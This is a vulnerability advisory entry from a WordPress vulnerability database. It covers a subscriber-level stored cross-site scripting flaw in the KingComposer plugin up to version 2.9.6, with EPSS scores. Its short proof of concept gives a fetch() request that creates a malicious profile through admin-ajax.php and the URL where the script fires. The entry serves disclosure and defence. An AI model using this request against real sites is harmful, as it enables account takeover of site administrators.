Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:5687E5DB-D987-416D-A7F4-036CCE4D56CB
HistoryMar 14, 2022 - 12:00 a.m.

KingComposer <= 2.9.6 - Subscriber+ Stored Cross-Site Scripting

2022-03-1400:00:00
Krzysztof Zając
wpscan.com
15
kingcomposer
2.9.6
authenticated user
arbitrary profiles
stored cross-site scripting

EPSS

0.001

Percentile

24.8%

The plugin does not have authorisation, CSRF and sanitisation/escaping when creating profile, allowing any authenticated users to create arbitrary ones, with Cross-Site Scripting payloads in them

PoC

Create profile: fetch(“https://example.com/wp-admin/admin-ajax.php?action=kc_create_profile”, { “headers”: { “content-type”: “application/x-www-form-urlencoded” }, “body”: new URLSearchParams({“name”:“y”, “slug”: “y”, “data”: btoa(“”)}), “method”: “POST”, “credentials”: “include” }); The XSS will be trigged at: https://example.com/wp-admin/admin-ajax.php?action=kc_download_profile&amp;name;=y

EPSS

0.001

Percentile

24.8%

Related for WPVDB-ID:5687E5DB-D987-416D-A7F4-036CCE4D56CB